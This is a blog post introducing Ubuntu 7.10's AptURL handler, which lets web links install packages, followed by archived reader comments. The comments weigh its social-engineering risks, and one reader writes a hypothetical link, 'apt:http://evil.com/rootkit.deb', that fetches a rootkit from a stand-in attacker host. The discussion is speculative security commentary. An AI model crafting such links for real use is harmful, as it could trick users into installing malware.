The AptURL Protocol Handler in Ubuntu 7.10
The AptURL Protocol Handler is a program that handles special URLs for installing packages. This means that special links in web pages can install software. Ubuntu 7.10 has AptURL installed by default. Installing applications does not get any easier than this:
Click here to install the gweled
game.
AptURL should be compatible with most browsers on Ubuntu, I tested it with
Firefox and Epiphany and it worked fine. If you haven’t upgraded to Ubuntu 7.10
yet, you can get AptURL by installing the apturl package from the Ubuntu
repositories.
Want to make your own AptURLs? The format is simple: apt:packagename.
Archived Comments
sleepyenglish
Wow what a great little feature, i hope more sites start using this feature, thanks tom.
Derek Buranen
Of all the things to link, gweled?
Fr33d0m
Another great tool for social engineers to use to fool you into installing root kits and such.
verbalshadow
@Fr33d0m
Not so long as it only grabs from your pre-configured repos. It may not be the case but from the looks of the URL it is.
If you can do something like apt:http://evil.com/rootkit.deb then maybe.
But you could still easily do this without apturl by just downloading and
opening using gdebi, either way you have to grant permission to install it. So
it’s the same as before. Install from trusted sources.
I havn’t tested it yet so i’m not sure if the above url would work.
Fr33d0m
verbalshadow,
You make a valid point about the repos, and I hope it is that way, but you miss the point with “either way you have to grant permission to install it.”
The only way to get a user to install things is to get their permission. Yes you have to use your password, but it isn’t all that difficult to convince someone to do that. And if you can obfuscate the real link then you can get even the partially aware folks to authorize it.
defcon
apt-url is awesome, cnr really sucks, all cnr is is another repository added, and with apt-rul you cannot get a rootkit installed because there isnt any in the repo’s lol
erlehmann
This isn’t a URL, rather a URN, read on the difference.
I’d prefer a synthay like .
Anonymous
@ børge
u must have Ubuntu Firefox Modifications/ubufox or open it with apturl.
børge
Doesn’t work in the newest version of Flock downloaded from their website.